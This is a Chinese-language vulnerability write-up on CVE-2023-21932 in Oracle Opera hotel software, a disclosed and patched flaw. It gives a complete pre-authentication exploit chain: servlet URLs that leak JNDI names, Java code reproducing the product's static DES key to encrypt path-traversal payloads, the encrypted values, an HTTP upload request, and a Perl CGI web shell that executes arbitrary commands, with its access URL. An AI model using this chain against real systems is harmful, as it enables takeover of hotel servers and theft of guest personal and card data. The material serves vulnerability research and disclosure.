背景介紹:
如果你在酒店行業工作,很可能已經見過或使用過 Oracle Opera,全球幾乎所有最大的酒店/度假村連鎖店都使用該軟件,這個重要的軟件包含了每位客人的所有 PII,包括但不限于信用卡詳細信息。
通過對該軟件的源代碼分析,我們能夠通過利用文件上傳 servlet 中的操作順序錯誤來實現預身份驗證遠程命令執行, Oracle 目前已發布關鍵補丁更新并將該漏洞分配編號 CVE-2023-21932。
遺憾的是,國外白帽不同意 Oracle 對這個漏洞的分類“難以利用的漏洞……”因此本文將說明為什么這個 CVE 應該被指定為 10.0 而不是 7.2 的評級,盡管 Oracle 聲稱,此漏洞不需要任何身份驗證即可利用。
發現:
第一次遇到目標是在 2022 年參加一場現場黑客活動時,目標是美國最大的度假村之一,Oracle Opera 的登錄頁面就成功引起了白帽子的注意,因為它看起來就像是一些 90 年代的殘存軟件:

鑒于該軟件的專業性,它可能沒有引起安全研究人員社區的太多關注, Jackson T 在 2016 年發現了 Oracle Opera 中的最后一個主要嚴重漏洞,后被安全客社區拓展分析。
https://jackson_t.gitlab.io/oracle-opera.html
https://www.anquanke.com/post/id/85180
獲得這個軟件并不困難。該軟件的最新版本可在 Oracle 的下載中心輕松獲得,在以普通用戶身份進行身份驗證后即可訪問,獲得安裝文件不需要許可證或銷售電話。
分析:
在 operainternalservlets.war 中,白帽子找到了 FileReceiver 端點的 servlet 映射:
<servlet-mapping> <servlet-name>FileReceiverservlet-name> <url-pattern>/FileReceiverurl-pattern> servlet-mapping>
此映射關聯回 com.micros.opera.servlet.FileReceiver ,后者負責接收文件并將其上傳到系統。
文件接收端點將以下參數作為輸入:
String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename"));String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc"));String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append"));String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname")));String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));
通過以上代碼你能發現漏洞嗎?這是一個經典的操作順序錯誤,上面的代碼為 jndiname 和username 參數清理加密的有效負載,然后對其進行解密,這應該是相反的順序,以使其有效。使用上面的代碼,這兩個變量可以包含我們想要的任何Payloads,而無需進行任何清理。
然后將這些參數傳遞給以下函數:
if (!Utility.isFileInWhiteList(jndiname, this.formsConfigIAS, username, filename, this.log)) { success = false; errorText = "Access denied to " + filename; }
查看 Utility.isFileInWhiteList 函數,可以看到以下邏輯:
private static final String[] envVars = new String[] { "EXPORTDIR", "REPORTS_TMP", "WEBTEMP" };
public static boolean isFileInWhiteList(String jndiName, String formsConfigIAS, String schemaName, String fileName, OperaLogger log) { if (log == null) log = GenUtils.getServletLogger("Utility"); boolean ret = false; try { String envFilename = getIASEnvironmentFileName(jndiName, formsConfigIAS); log.finer("Env File Name [" + envFilename + "] for JNDI [" + jndiName + "]"); if (envFilename != null && (new File(envFilename)).exists()) { Properties iasprop = getPropertiesFromFile(envFilename); if (iasprop != null) for (String envVar : envVars) { ret = isAllowedPath(iasprop.getProperty(envVar), schemaName, fileName); if (ret) break; } } else { log.severe("Environment file [" + envFilename + "] not found for JNDI [" + jndiName + "]"); } } catch (Exception exception) {} return ret; }
上述函數中用戶可控的值為 jndiName 和 schemaName ,如前所述,我們能夠控制 schemaName 并且不會對此變量清理。
可以在 isAllowedPath 函數中找到構建和檢查路徑的邏輯:
public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) { boolean ret = false; try { if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) { String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase(); String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase(); if (adjustedFileName.startsWith(adjustedSourcePath)) { ret = true; } else { throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]"); } } else { throw new Exception("Either path, schema or filename is null"); } } catch (Exception e) { e.printStackTrace(); } return ret; }
同樣,在此函數中,我們可以控制 schemaName 和 fileName ,由于控制了 schemaName ,并在其中進行了路徑遍歷,所以可以將adjustedSourcePath的值設置為 D:\
String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
其中 schemaName = "foo/../../../../../"
所以 adjustedSourcePath = "D:\" ,我們的 fileName 可以是 D:\ 中的任何文件,并且允許我們將任意文件寫入 D:\ 。
雖然上面描述了任意文件上傳到任何位置的漏洞,但沒有解釋如何實現預授權命令執行,有兩個主要程序可以阻止利用上述漏洞,第一個是能夠加密有效字符串,第二個是 JNDI 連接名稱。
幸運的是,這兩個阻礙因素都可以輕松解決,JNDI連接名可以通過訪問以下網址獲取:
https://example.com/Operajserv/OXIServlets/CRSStatus?info=truehttps://example.com/Operajserv/OXIServlets/BEInterface?info=truehttps://example.com/Operajserv/OXIServlets/ExportReceiver?info=true
JNDI 名稱將由這些 servlet 顯示,無需任何身份驗證即可訪問,現在已經獲得了 JNDI 名稱,我們可以繼續處理加密元素,因為需要向 FileReceiver servlet 提供加密字符串以實現預身份驗證 RCE。
通過分析發現 Oracle Opera 使用了靜態密鑰來加密字符串,因此能夠重新創建他們的加密過程,并將其重新用于加密任意字符串,這是利用該漏洞所必需的。詳見下方代碼:
public class Main { private static final boolean DECRYPT = false; private static final boolean ENCRYPT = true; public static final int ECB = 0; public static final int CBC = 1; private static final String SK = "bf70460e1fd03bfd"; public static String toHex(String text) { String result = ""; for (int i = 0; i < text.length(); i++) { String hexValue = Integer.toHexString(text.charAt(i)); if (hexValue.length() == 1) hexValue = "0" + hexValue; result = result + hexValue; } return result; } public static String fromHex(String text) { String result = ""; for (int i = 0; i < text.length(); i += 2) { char c; String hexValue = text.substring(i, i + 2); try { c = (char)Integer.parseInt(hexValue, 16); } catch (Exception e) { c = '*'; } result = result + c; } return result; } private int[] createKeys(String key) { int[][] pc2bytes = { { 0, 4, 536870912, 536870916, 65536, 65540, 536936448, 536936452, 512, 516, 536871424, 536871428, 66048, 66052, 536936960, 536936964 }, { 0, 1, 1048576, 1048577, 67108864, 67108865, 68157440, 68157441, 256, 257, 1048832, 1048833, 67109120, 67109121, 68157696, 68157697 }, { 0, 8, 2048, 2056, 16777216, 16777224, 16779264, 16779272, 0, 8, 2048, 2056, 16777216, 16777224, 16779264, 16779272 }, { 0, 2097152, 134217728, 136314880, 8192, 2105344, 134225920, 136323072, 131072, 2228224, 134348800, 136445952, 139264, 2236416, 134356992, 136454144 }, { 0, 262144, 16, 262160, 0, 262144, 16, 262160, 4096, 266240, 4112, 266256, 4096, 266240, 4112, 266256 }, { 0, 1024, 32, 1056, 0, 1024, 32, 1056, 33554432, 33555456, 33554464, 33555488, 33554432, 33555456, 33554464, 33555488 }, { 0, 268435456, 524288, 268959744, 2, 268435458, 524290, 268959746, 0, 268435456, 524288, 268959744, 2, 268435458, 524290, 268959746 }, { 0, 65536, 2048, 67584, 536870912, 536936448, 536872960, 536938496, 131072, 196608, 133120, 198656, 537001984, 537067520, 537004032, 537069568 }, { 0, 262144, 0, 262144, 2, 262146, 2, 262146, 33554432, 33816576, 33554432, 33816576, 33554434, 33816578, 33554434, 33816578 }, { 0, 268435456, 8, 268435464, 0, 268435456, 8, 268435464, 1024, 268436480, 1032, 268436488, 1024, 268436480, 1032, 268436488 }, { 0, 32, 0, 32, 1048576, 1048608, 1048576, 1048608, 8192, 8224, 8192, 8224, 1056768, 1056800, 1056768, 1056800 }, { 0, 16777216, 512, 16777728, 2097152, 18874368, 2097664, 18874880, 67108864, 83886080, 67109376, 83886592, 69206016, 85983232, 69206528, 85983744 }, { 0, 4096, 134217728, 134221824, 524288, 528384, 134742016, 134746112, 16, 4112, 134217744, 134221840, 524304, 528400, 134742032, 134746128 }, { 0, 4, 256, 260, 0, 4, 256, 260, 1, 5, 257, 261, 1, 5, 257, 261 } }; int iterations = (key.length() >= 24) ? 3 : 1; int[] keys = new int[32 * iterations]; boolean[] shifts = { false, false, true, true, true, true, true, true, false, true, true, true, true, true, true, false }; int m = 0, n = 0; for (int j = 0; j < iterations; j++) { int left = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++); int right = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++); int temp = (left >>> 4 ^ right) & 0xF0F0F0F; right ^= temp; left ^= temp << 4; temp = (right >>> -16 ^ left) & 0xFFFF; left ^= temp; right ^= temp << -16; temp = (left >>> 2 ^ right) & 0x33333333; right ^= temp; left ^= temp << 2; temp = (right >>> -16 ^ left) & 0xFFFF; left ^= temp; right ^= temp << -16; temp = (left >>> 1 ^ right) & 0x55555555; right ^= temp; left ^= temp << 1; temp = (right >>> 8 ^ left) & 0xFF00FF; left ^= temp; right ^= temp << 8; temp = (left >>> 1 ^ right) & 0x55555555; right ^= temp; left ^= temp << 1; temp = left << 8 | right >>> 20 & 0xF0; left = right << 24 | right << 8 & 0xFF0000 | right >>> 8 & 0xFF00 | right >>> 24 & 0xF0; right = temp; for (int i = 0; i < shifts.length; i++) { if (shifts[i]) { left = left << 2 | left >>> 26; right = right << 2 | right >>> 26; } else { left = left << 1 | left >>> 27; right = right << 1 | right >>> 27; } left &= 0xFFFFFFF0; right &= 0xFFFFFFF0; int lefttemp = pc2bytes[0][left >>> 28] | pc2bytes[1][left >>> 24 & 0xF] | pc2bytes[2][left >>> 20 & 0xF] | pc2bytes[3][left >>> 16 & 0xF] | pc2bytes[4][left >>> 12 & 0xF] | pc2bytes[5][left >>> 8 & 0xF] | pc2bytes[6][left >>> 4 & 0xF]; int righttemp = pc2bytes[7][right >>> 28] | pc2bytes[8][right >>> 24 & 0xF] | pc2bytes[9][right >>> 20 & 0xF] | pc2bytes[10][right >>> 16 & 0xF] | pc2bytes[11][right >>> 12 & 0xF] | pc2bytes[12][right >>> 8 & 0xF] | pc2bytes[13][right >>> 4 & 0xF]; temp = (righttemp >>> 16 ^ lefttemp) & 0xFFFF; keys[n++] = lefttemp ^ temp; keys[n++] = righttemp ^ temp << 16; } } return keys; } private String[] des(String key, String message, boolean encrypt, int mode, String iv) { int looping[], iterations, spfunction[][] = { { 16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536, 1024, 16843776, 16843780, 1024, 16778244, 16842756, 16777216, 4, 1028, 16778240, 16778240, 66560, 66560, 16842752, 16842752, 16778244, 65540, 16777220, 16777220, 65540, 0, 1028, 66564, 16777216, 65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 1024, 16842756, 65536, 66560, 16777220, 1024, 4, 16778244, 66564, 16843780, 65540, 16842752, 16778244, 16777220, 1028, 66564, 16843776, 1028, 16778240, 16778240, 0, 65540, 66560, 0, 16842756 }, { -2146402272, -2147450880, 32768, 1081376, 1048576, 32, -2146435040, -2147450848, -2147483616, -2146402272, -2146402304, Integer.MIN_VALUE, -2147450880, 1048576, 32, -2146435040, 1081344, 1048608, -2147450848, 0, Integer.MIN_VALUE, 32768, 1081376, -2146435072, 1048608, -2147483616, 0, 1081344, 32800, -2146402304, -2146435072, 32800, 0, 1081376, -2146435040, 1048576, -2147450848, -2146435072, -2146402304, 32768, -2146435072, -2147450880, 32, -2146402272, 1081376, 32, 32768, Integer.MIN_VALUE, 32800, -2146402304, 1048576, -2147483616, 1048608, -2147450848, -2147483616, 1048608, 1081344, 0, -2147450880, 32800, Integer.MIN_VALUE, -2146435040, -2146402272, 1081344 }, { 520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240, 131080, 134217736, 134217736, 131072, 134349320, 131080, 134348800, 520, 134217728, 8, 134349312, 512, 131584, 134348800, 134348808, 131592, 134218248, 131584, 131072, 134218248, 8, 134349320, 512, 134217728, 134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0, 512, 131080, 134349320, 134218240, 134217736, 512, 0, 134348808, 134218248, 131072, 134217728, 134349320, 8, 131592, 131584, 134217736, 134348800, 134218248, 520, 134348800, 131592, 8, 134348808, 131584 }, { 8396801, 8321, 8321, 128, 8396928, 8388737, 8388609, 8193, 0, 8396800, 8396800, 8396929, 129, 0, 8388736, 8388609, 1, 8192, 8388608, 8396801, 128, 8388608, 8193, 8320, 8388737, 1, 8320, 8388736, 8192, 8396928, 8396929, 129, 8388736, 8388609, 8396800, 8396929, 129, 0, 0, 8396800, 8320, 8388736, 8388737, 1, 8396801, 8321, 8321, 128, 8396929, 129, 1, 8192, 8388609, 8193, 8396928, 8388737, 8193, 8320, 8388608, 8396801, 128, 8388608, 8192, 8396928 }, { 256, 34078976, 34078720, 1107296512, 524288, 256, 1073741824, 34078720, 1074266368, 524288, 33554688, 1074266368, 1107296512, 1107820544, 524544, 1073741824, 33554432, 1074266112, 1074266112, 0, 1073742080, 1107820800, 1107820800, 33554688, 1107820544, 1073742080, 0, 1107296256, 34078976, 33554432, 1107296256, 524544, 524288, 1107296512, 256, 33554432, 1073741824, 34078720, 1107296512, 1074266368, 33554688, 1073741824, 1107820544, 34078976, 1074266368, 256, 33554432, 1107820544, 1107820800, 524544, 1107296256, 1107820800, 34078720, 0, 1074266112, 1107296256, 524544, 33554688, 1073742080, 524288, 0, 1074266112, 34078976, 1073742080 }, { 536870928, 541065216, 16384, 541081616, 541065216, 16, 541081616, 4194304, 536887296, 4210704, 4194304, 536870928, 4194320, 536887296, 536870912, 16400, 0, 4194320, 536887312, 16384, 4210688, 536887312, 16, 541065232, 541065232, 0, 4210704, 541081600, 16400, 4210688, 541081600, 536870912, 536887296, 16, 541065232, 4210688, 541081616, 4194304, 16400, 536870928, 4194304, 536887296, 536870912, 16400, 536870928, 541081616, 4210688, 541065216, 4210704, 541081600, 0, 541065232, 16, 16384, 541065216, 4210704, 16384, 4194320, 536887312, 0, 541081600, 536870912, 4194320, 536887312 }, { 2097152, 69206018, 67110914, 0, 2048, 67110914, 2099202, 69208064, 69208066, 2097152, 0, 67108866, 2, 67108864, 69206018, 2050, 67110912, 2099202, 2097154, 67110912, 67108866, 69206016, 69208064, 2097154, 69206016, 2048, 2050, 69208066, 2099200, 2, 67108864, 2099200, 67108864, 2099200, 2097152, 67110914, 67110914, 69206018, 69206018, 2, 2097154, 67108864, 67110912, 2097152, 69208064, 2050, 2099202, 69208064, 2050, 67108866, 69208066, 69206016, 2099200, 0, 2, 69208066, 0, 2099202, 69206016, 2048, 67108866, 67110912, 2048, 2097154 }, { 268439616, 4096, 262144, 268701760, 268435456, 268439616, 64, 268435456, 262208, 268697600, 268701760, 266240, 268701696, 266304, 4096, 64, 268697600, 268435520, 268439552, 4160, 266240, 262208, 268697664, 268701696, 4160, 0, 0, 268697664, 268435520, 268439552, 266304, 262144, 266304, 262144, 268701696, 4096, 64, 268697664, 4096, 266304, 268439552, 64, 268435520, 268697600, 268697664, 268435456, 262144, 268439616, 0, 268701760, 262208, 268435520, 268697600, 268439552, 268439616, 0, 268701760, 266240, 266240, 4160, 4160, 262208, 268435456, 268701696 } }; for (; key.length() < 8; key = key + key); if (mode == 1) for (; iv.length() < 8; iv = iv + iv); int[] keys = createKeys(key); int m = 0; int cbcleft = 0, cbcleft2 = 0, cbcright = 0, cbcright2 = 0, chunk = 0; int tempcount = 0; int len = 8 - message.length() % 8; if (len == 8) len = 0; int i; for (i = 0; i < len; i++) message = message + "\000"; len = message.length(); i = (len > 505) ? 2 : 1; String[] result = new String[message.length() / 8 + i]; for (i = 0; i < result.length; ) { result[i] = ""; i++; } if (keys.length == 32) { iterations = 3; } else { iterations = 9; } if (iterations == 3) { looping = new int[3]; if (encrypt) { looping[0] = 0; looping[1] = 32; looping[2] = 2; } else { looping[0] = 30; looping[1] = -2; looping[2] = -2; } } else { looping = new int[9]; if (encrypt) { looping[0] = 0; looping[1] = 32; looping[2] = 2; looping[3] = 62; looping[4] = 30; looping[5] = -2; looping[6] = 64; looping[7] = 96; looping[8] = 2; } else { looping[0] = 94; looping[1] = 62; looping[2] = -2; looping[3] = 32; looping[4] = 64; looping[5] = 2; looping[6] = 30; looping[7] = -2; looping[8] = -2; } } if (mode == 1) { cbcleft = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++); cbcright = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++); m = 0; } while (m < len) { int left = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++); int right = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++); if (mode == 1) if (encrypt) { left ^= cbcleft; right ^= cbcright; } else { cbcleft2 = cbcleft; cbcright2 = cbcright; cbcleft = left; cbcright = right; } int temp = (left >>> 4 ^ right) & 0xF0F0F0F; right ^= temp; left ^= temp << 4; temp = (left >>> 16 ^ right) & 0xFFFF; right ^= temp; left ^= temp << 16; temp = (right >>> 2 ^ left) & 0x33333333; left ^= temp; right ^= temp << 2; temp = (right >>> 8 ^ left) & 0xFF00FF; left ^= temp; right ^= temp << 8; temp = (left >>> 1 ^ right) & 0x55555555; right ^= temp; left ^= temp << 1; left = left << 1 | left >>> 31; right = right << 1 | right >>> 31; for (int j = 0; j < iterations; j += 3) { int endloop = looping[j + 1]; int loopinc = looping[j + 2]; for (i = looping[j]; i != endloop; i += loopinc) { int right1 = right ^ keys[i]; int right2 = (right >>> 4 | right << 28) ^ keys[i + 1]; temp = left; left = right; right = temp ^ (spfunction[1][right1 >>> 24 & 0x3F] | spfunction[3][right1 >>> 16 & 0x3F] | spfunction[5][right1 >>> 8 & 0x3F] | spfunction[7][right1 & 0x3F] | spfunction[0][right2 >>> 24 & 0x3F] | spfunction[2][right2 >>> 16 & 0x3F] | spfunction[4][right2 >>> 8 & 0x3F] | spfunction[6][right2 & 0x3F]); } temp = left; left = right; right = temp; } left = left >>> 1 | left << 31; right = right >>> 1 | right << 31; temp = (left >>> 1 ^ right) & 0x55555555; right ^= temp; left ^= temp << 1; temp = (right >>> 8 ^ left) & 0xFF00FF; left ^= temp; right ^= temp << 8; temp = (right >>> 2 ^ left) & 0x33333333; left ^= temp; right ^= temp << 2; temp = (left >>> 16 ^ right) & 0xFFFF; right ^= temp; left ^= temp << 16; temp = (left >>> 4 ^ right) & 0xF0F0F0F; right ^= temp; left ^= temp << 4; if (mode == 1) if (encrypt) { cbcleft = left; cbcright = right; } else { left ^= cbcleft2; right ^= cbcright2; } result[result.length - 1] = result[result.length - 1] + (char)(left >>> 24); result[result.length - 1] = result[result.length - 1] + (char)(left >>> 16 & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(left >>> 8 & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(left & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(right >>> 24); result[result.length - 1] = result[result.length - 1] + (char)(right >>> 16 & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(right >>> 8 & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(right & 0xFF); result[tempcount++] = result[result.length - 1]; chunk += 8; if (chunk == 512) { result[result.length - 1] = result[result.length - 1] + result[tempcount++]; chunk = 0; } } if (!encrypt) result[result.length - 1] = result[result.length - 1].trim(); return result; } public String desEncrypt(String key, String message, int mode, String iv) { String[] result = des(key, message, true, mode, iv); return result[result.length - 1]; } public String[] desEncryptStep(String key, String message, int mode, String iv) { return des(key, message, true, mode, iv); } public String desDecrypt(String key, String message, int mode, String iv) { String[] result = des(key, message, false, mode, iv); return result[result.length - 1]; } public String[] desDecryptStep(String key, String message, int mode, String iv) { return des(key, message, false, mode, iv); } public static String encrypt(String msg) { String ret = ""; Main des = new Main(); if (msg != null && msg.length() != 0) ret = toHex(des.desEncrypt("bf70460e1fd03bfd", msg, 0, "")); return ret; } public static String decrypt(String msg) { String ret = ""; Main des = new Main(); if (msg != null && msg.length() != 0) ret = des.desDecrypt("bf70460e1fd03bfd", fromHex(msg), 0, ""); return ret; } public static String encrypt(String key, String msg, int mode, String iv) { String ret = ""; Main des = new Main(); if (msg != null && msg.length() != 0) ret = toHex(des.desEncrypt(key, msg, mode, iv)); return ret; } public static String decrypt(String key, String msg, int mode, String iv) { String ret = ""; Main des = new Main(); if (msg != null && msg.length() != 0) ret = des.desDecrypt(key, fromHex(msg), mode, iv); return ret; } public static void main(String args[]) { // jndi name System.out.println(encrypt("oxiopradigds")); // username System.out.println(encrypt("foo/../../../../../")); }
}
運行上方代碼將會輸出以下內容:
java -classpath .:/run_dir/junit-4.12.jar:target/dependency/* Main // jndi name 0c919bc95270f6921e102ab8ae52e497 // username (with path traversal) f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25
用于將任意文件上傳到 D:\ 目錄的最終Payload可以在下面找到,此 HTTP 請求會將 CGI web shell 上傳到本地文件系統:
POST /Operajserv/webarchive/FileReceiver?filename=D:\MICROS\opera\operaias\cgi-bin\80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON?toexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1Host: example.comUser-Agent: curl/7.79.1Accept: */*Content-Length: 588Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dcConnection: close
#!\ORA\MWFR\11gappr2\perl\bin\perl.exe
use strict;
print "Cache-Control: no-cache";print "Content-type: text/html";
my $req = $ENV{QUERY_STRING}; chomp ($req); $req =~ s/%20/ /g; $req =~ s/%3b/;/g;
print "";
print '';
if (!$req) { print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd"; } else { print "Executing: $req"; }
print "
"; my @cmd = `$req`; print "
";
foreach my $line (@cmd) { print $line . "
"; }
print "";
Web Shell 可在以下位置訪問:
https://example.com/operabin/80088941a432b4458e492b7686a88da6.cgi?type%20C:\Windows\win.ini

如上所述,無需任何特殊訪問或授權即可進行 RCE,利用此漏洞執行的所有步驟均未進行任何身份驗證,此漏洞的 CVSS 評分應為 10.0。
當然,Oracle Opera 中還有大量的其它漏洞,其中一些目前仍未解決。所以請永遠不要將其暴露在互聯網上。
以上研究由 Shubham Shah、Sean Yeoh、Brendan Scarvell 和 Jason Haddix 共同完成。希望你能有所收獲!
GoUpSec
合天網安實驗室
黑白之道
系統安全運維
GoUpSec
嘶吼專業版
安全圈
E安全
GoUpSec
合天網安實驗室
雷石安全實驗室
重生信息安全